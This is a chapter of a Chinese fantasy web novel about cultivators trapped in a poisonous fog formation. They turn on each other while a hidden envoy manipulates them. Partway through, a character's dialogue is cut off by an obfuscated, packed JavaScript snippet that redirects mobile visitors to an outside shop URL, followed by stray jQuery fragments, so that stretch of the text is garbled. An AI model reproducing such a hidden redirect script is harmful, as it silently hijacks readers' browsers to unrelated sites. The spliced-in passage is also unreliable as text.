文趣网 > 其他小说 > 登入仙门,但反派剧本 > 14. 第 14 章
    众人面面相觑,皆有些摸不着头脑,唯有燕离脸色微变。

    “我要回去休息,这里臭得要命。”谢济打了个呵欠,道:“房子里头应该都能住人,你若不想今晚被卫道人所杀,不如赶紧找个房子住进去。”

    这句话应该是说给云末的,他说完,转身便毫不留恋地走,燕离见谢济小小一个就往浓雾里钻,想也不想地抬脚就追了上去,徒留剩下几人捏着骨牌,神色各异。

    谢济似乎是参与过神罚的人了,沉默半晌,参攀雪还是望着谢云庚背影,莫名舔了舔嘴唇,才回头涩然道:“我,我们也不必信这个吧。”

    云末从怀中取出阵盘,只见上头司南勺轻微一晃,便笃然指定一方,他鄙夷道:“你信了?他们两个最先开的口,着什么狗屁罪人不罪人的,还不是她说什么就是什么?叫我说就谁也别在这里装神弄鬼,什么雾阵也值得慌脚,想走的,跟在我身后,随我出去就是了。”

    参攀雪似乎有些犹豫,云狐沉默良久,道:“这里雾气大,还是跟上他吧。”

    两个医修,一个阵修,除去云狐,这三人在雾气中几乎毫无反击之力,参攀雪点了点头,正要跟上,后面参引霜却小声道:“哥哥。”

    几人往前走着,参攀雪小声道:“什么?”

    “你是罪人吗?”

    他闻言,不甚在意道:“我若是罪人,又如何,你要杀掉我吗?”

    参引霜迈开一步,衣摆上数行血字绣纹,在浓浓大雾之中徐徐展开。

    “……”

    声音模糊不清,参攀雪也无意去听,一行人往前走,云狐又忧心忡忡叹气道:“雾气这么大,小师弟和师妹怎么好在外面,我去找他们。”

    “你瞎操什么心,”云末道,“那阴惨惨的小玩意都打算杀人了,趁早让他滚。”

    他说话颇为不耐烦,云狐还想再说,云末却又冷笑道:“哈,我可是早就拍出了身份——我是罪人,如假包换,他若是想杀人取胜,你帮不帮我,哥哥?”

    云末微微一窒,不说话了。

    参引霜将这一切收归眼底,道:“他也说了,大家都放一些血,或许也能出去。”

    “这个游戏简直是为了折腾而设立的,我们擎云蟠桃的血千金难求,再说若是几升放出去,半年也恢复不好。”云狐瞥了众人一眼,道,“再说,若有人心存恶念,趁人重伤动手怎么办?”

    几人神色各异,无人回答。

    “大伙儿都是飞鸾卫中的同僚,”一片死寂之中,云狐开口了,“都冷静冷静,只是个游戏,并不是你死我活的局面,兴许只是个奇怪的迷阵,不如先随云末走出去吧。”

    几人沉默地点点头。

    卫道者与罪人,并非是猫与鼠的追猎关系。

    兴许只是个恶劣的迷阵,其实什么也不会发生的吧,不然卫道者可以杀死罪人,罪人也能反杀卫道者的。

    他们都是云剑山最顶尖的弟子,怎么会被区区一个阵法困死呢。

    思及此处,众人皆整理好精神,臭着脸的云末看着阵盘,很是不耐道:“那两个,就放着他们去死,我不想给他们带路。”

    他指的是谢济和燕离,两人脱离团队行动,尤其其中一人还是放出话来要把他们全都干掉,并没有什么必要凑上前去自讨没趣,只有云狐有些担心:“燕师妹与那孩子在一起,有危险。”

    云末道:“你烦不烦啊?要不你也去陪那放大话的小孩玩就行了,一个小孩能折腾什么,我小时候还说我十步杀一人千里不留行呢。”

    云狐道:“若雾中还有其余危——”

    话音未落,便听前面噗通一声刺破血肉的闷响,紧接着,腥臭的味道便渐渐弥漫了出来,参攀雪最先反应过来,猛然上前一步道:“有人——有人在前面出事了!”

    几人冲上前去,把人翻来一看,勃然变色。

    这死相凄惨之人,正是与他们失散的神使。

    参引霜眼疾手快,一把将兄长拉住:“是咒毒的味道——哥哥先别去。”

    兄妹二人,一人精于医道,一人精于毒蛊,参引霜说是毒,众人绝不敢有二言,她先走上前去,试探了他的鼻息脉搏,皱了皱眉,随即在翻开神使领口之时,目光微凝。

    那是一个狰狞的鲜红纹路。

    “还没死,”参攀雪眼睛一亮道,“我来看。”

    参攀雪上前,查验过后,皱眉。

    “是咒毒,触之毒发,最多能撑一日,却并非无药可解……快一些出去,兴许有活路。”

    说罢,云末道:“你们俩不是医修吗?救啊。”

    人群之中,却分外地安静,参引霜神情有些冷漠:“我修毒蛊,哥哥修药,虽懂一些咒毒,但眼下并没带医具。”

    “……”

    无论是罪人或者卫道者,已经有人向神使动手了。

    神使死了,他们不光得向云剑山交代,还得向小菩提司交代。

    一时死寂。

    “……我真是受够了,谁会杀他?那小孩?还是雾里有什么其他的东西?”云末崩溃道,“喂,一个神神叨叨的游戏而已,犯得着动手杀人吗?都疯了吧——这种神经兮兮的东西,竟然会有人信?”

    他崩溃地抓着头发,半晌,云狐上前一步,下定决心一般,笃定道:“你冷静点,扛起他来,不要自乱阵脚,我们先除去。”

    ***

    谢济人小步子快,燕离好不容易才在雾气之中抓住了他的手,道:“你停下。”

    雾气不详,呛得人肺里生疼,谢济转过脸来,不耐道:“做什么?放开手。”

    “你之前也进过这种阵法?”燕离急切道:“谁干的?”

    他似乎曾经参加过这场游戏,可谢济还是个孩子,死灵城角斗场之中,是不会让孩子去角斗的。

    谢济道:“我自己进的,多好玩啊。”

    少年眯着眼睛笑,漂亮又乖巧:“我是那种顺手就会把人杀掉的坏蛋,谁能杀掉我?”

    话没说完,他便被燕离猛地掐住了肩膀,燕离紧紧盯着他的眼睛,毫不犹豫地从他怀中取出了一枚骨牌。

    “卫道人。”

    她又从怀里掏出了自己的骨牌摔在地上,声音掷地有声,玉白骨牌上,赫然写着两个鲜红的大字。

    燕离是如假包换的罪人。

    “来,杀我,”她认真道,“你不是滥杀之人吗?杀我。”

    谢济不置可否地看着她,片刻,撇过头去:“哼。”

    今晚这个孩子简直怪得不行,燕离见他算是能正常说话了,于是才道:“今晚的事情有古怪。”

    她从来没感到自己这么焦急过,简直恨不得把谢济脑子里头的水全都倒出来,她道:“有人在这里设下阵法,是冲着我们来的,我们被打埋伏了。”

    谢济被她抓着,灿金色的眼睛直直抬起,径自望进她毫不躲闪的双目之中。

    他的目光从来都是散漫的,谢济的眼睛不曾为谁而停留。

    鼻尖呼吸交缠,他盯着燕离近在咫尺的眼睛,心头却好像太液池里被扔了一座昆仑山似的,颤得他山呼海啸,恨不得把燕离生生地刻下来。

    半晌,谢济终于忍俊不禁似的一笑:“你还知道啊?”

    燕离皱眉,认真道:“飞鸾卫是云剑山的人,根本不知道这种东西,更不会是布局之人,如今一看,那个忽然失踪的神使有古怪,今夜也是他引人往这个村子走的。”

    “继续说,”谢济好笑道,“其实这阵实在不算什么,我只是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861980|212042||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    恼火这死灵城的东西。”

    燕离微怔,谢济意味深长道:“旁的都无关紧要,我只恨碰这个东西的人。“

    谢济把手轻柔地覆在她的手上,明明是少年面容,却笑得妖异非常,他轻声道:“要不要好奇一下,我给他备了个什么大礼?”

    ***

    云末道:“现在就是出口了。”

    闻言,几人略微松了一口气,参攀雪扶着神使,感激道:“多谢云小兄弟,等出去之后,我与妹妹定然谢你。”

    云末很是倨傲地嗯了一声,提步就要往前去,雾气似乎明朗了许多,甚至能影影绰绰间看到外面村落的影子,司南的指向不容置疑,他率先走向雾气中。

    陡然间,云末脚步微停,他缓缓地俯下身去,只听哗一声,一地鲜血。

    几人被这一变故惊得齐齐变了脸色,站在后头心事重重的云狐猛然一步走上前。

    “云末!”云狐立即上去抓住他,参攀雪摸上云末手腕,片刻,陡然睁开眼睛道:“把他带回雾气里面。”

    他是在场唯一的药修,云狐不敢耽搁,背起云末就退回了雾气之中。

    “我们在进村的时候就已经中毒了,”参攀雪脸色有些白,“这雾气,反而是暂缓毒发的解药。”

    云狐跪在云末身边,他的瞳孔已经有些涣散了,大口大口地喘着粗气,手上依旧死死地掐着那口阵盘。

    “……医修,”云狐道,“引霜师妹,能救他吗?能救他吗!!”

    他几乎要给在场两人跪下了,参引霜与参攀雪对视一眼,沉默地摇了摇头,道:“得出去。”

    云狐垂下头,望向外面,参攀雪似乎有什么话想说,沉默半晌,还是纠结道:“这毒并不至死,如果我与妹妹快些逃出此阵,带回药来,云末师弟尚可得救,都到这儿了,我们不如先往外走走。”

    话音未落,云狐便红着眼看向他,他登时噤声,抿了抿唇。

    “眼,眼下只能这样。”参攀雪有些紧张,“什,什么时候,咒发作到他的身上的,等等——”

    云狐闪电似的出手,伸手猛然扼住了参攀雪的咽喉,将他未说出的话生生扼死在喉咙之中,他的目光居高临下,瞥向一旁的参引霜。

    “……你们二人之中,一个走,一个留。”

    参引霜看着被他掐在手中的兄长,良久,唇角微微下垂。

    “方才,没有旁人在侧,只有你们。”

    他陡然感到一股几乎逼人眼黑的强烈窒息感,云狐看到自己的手臂缓缓爬上了一只蝎子,尾尖猩红,望之如毒。

    “我杀人,不需要用咒,”参引霜冷道,“再说一遍,我与哥哥都不是下毒之人,我们会回来。”

    “拿我弟弟的命,来赌二位的侠肝义胆,我做不到。”云狐嘶声。

    更何况,即便二人能顺利离开,去马车中找到解药,真的会回来,可离了云末,谁能确保他们能再次碰到这个阵法的关窍?

    场面一时之间,剑拔弩张。

    那躺在大雾之中、脸色灰败的神使悄然无声睁开了眼睛,咧了咧嘴角。

    太巧了,太妙了。

    一对兄弟,一对兄妹,比那些临时凑成的联盟坚固无数倍,只要略加挑拨,便可以将怀疑种在所有人的心中。

    区区咒杀,又算什么致死的毒药。

    参攀雪余光瞥到什么,登时脸色一紫,竭力敲打着云狐的手臂,拼命地张开嘴,话音却被云狐生生地扼在喉咙之中。

    神使冷冷看他一眼,爬起来,隐入了雾气中。

    接下来也有得麻烦了,剩下那两个人看着精明,又是早就参与过神罚之人,想必处理起来没那么容易。

    不过,会赢的。

    他这么想。